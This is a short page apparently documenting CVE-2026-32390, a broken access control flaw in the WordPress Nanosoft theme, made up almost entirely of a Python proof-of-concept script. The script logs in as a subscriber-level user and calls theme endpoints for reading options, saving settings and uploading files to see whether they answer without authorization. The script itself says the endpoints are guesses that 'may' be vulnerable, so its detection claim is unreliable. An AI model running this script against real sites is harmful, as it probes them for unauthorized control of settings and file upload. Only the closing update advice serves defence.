CVE-2026-32390 Nanosoft主题缺失授权访问控制漏洞

import requests import sys # CVE-2026-32390 PoC - Nanosoft Theme Broken Access Control # This PoC demonstrates accessing privileged functions with low-privilege user target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = "subscriber_user" # Low privilege account password = "user_password" session = requests.Session() # Step 1: Authenticate with low privilege account login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in session.cookies.get_dict(): print("[-] Authentication failed") exit(1) print("[+] Successfully authenticated with low-privilege user") # Step 2: Attempt to access/admin functions that should require higher privileges # These are common Nanosoft theme endpoints that may lack authorization vulnerable_endpoints = [ "/wp-admin/admin-ajax.php?action=nanosoft_get_options", "/wp-admin/admin-ajax.php?action=nanosoft_save_settings", "/wp-json/nanosoft/v1/settings", "/wp-admin/admin-ajax.php?action=nanosoft_upload_file" ] for endpoint in vulnerable_endpoints: url = f"{target_url}{endpoint}" try: response = session.get(url, timeout=10) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[VULN] Endpoint {endpoint} is accessible without proper authorization") print(f"Response: {response.text[:200]}") else: print(f"[*] Endpoint {endpoint} returned status {response.status_code}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") print("\n[!] If vulnerable endpoints were found, the site is affected by CVE-2026-32390") print("[!] Recommendation: Update Nanosoft theme to version 1.3.2 or higher")